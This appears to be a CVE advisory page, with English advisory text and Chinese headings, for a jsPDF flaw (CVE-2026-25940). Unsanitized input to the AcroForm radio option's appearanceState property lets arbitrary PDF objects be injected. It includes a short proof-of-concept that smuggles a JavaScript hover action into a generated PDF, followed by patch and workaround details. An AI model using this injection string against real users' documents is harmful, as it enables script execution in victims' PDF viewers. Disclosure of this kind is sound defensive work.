CVE-2026-25940

描述

### Impact User control of properties and methods of the Acroform module allows users to inject arbitrary PDF objects, such as JavaScript actions. If given the possibility to pass unsanitized input to the following property, a user can inject arbitrary PDF objects, such as JavaScript actions, which are executed when the victim hovers over the radio option. * `AcroformChildClass.appearanceState` Example attack vector: ```js import { jsPDF } from "jspdf" const doc = new jsPDF(); const group = new doc.AcroFormRadioButton(); group.x = 10; group.y = 10; group.width = 20; group.height = 10; doc.addField(group); const child = group.createOption("opt1"); child.x = 10; child.y = 10; child.width = 20; child.height = 10; child.appearanceState = "Off /AA << /E << /S /JavaScript /JS (app.alert('XSS')) >> >>"; doc.save("test.pdf"); ``` ### Patches The vulnerability has been fixed in jsPDF@4.2.0. ### Workarounds Sanitize user input before passing it to the vulnerable API members.

如何修補 CVE-2026-25940

要修補 CVE-2026-25940,請將受影響套件升級到下列已修補版本。

• —升級至 4.2.0 或更新版本

CVE-2026-25940 正在被利用嗎?

低 — EPSS 為 0.4%,目前沒有觀察到大規模利用活動。

受影響套件(1)

• from 0, < 4.2.0

CVSS 分數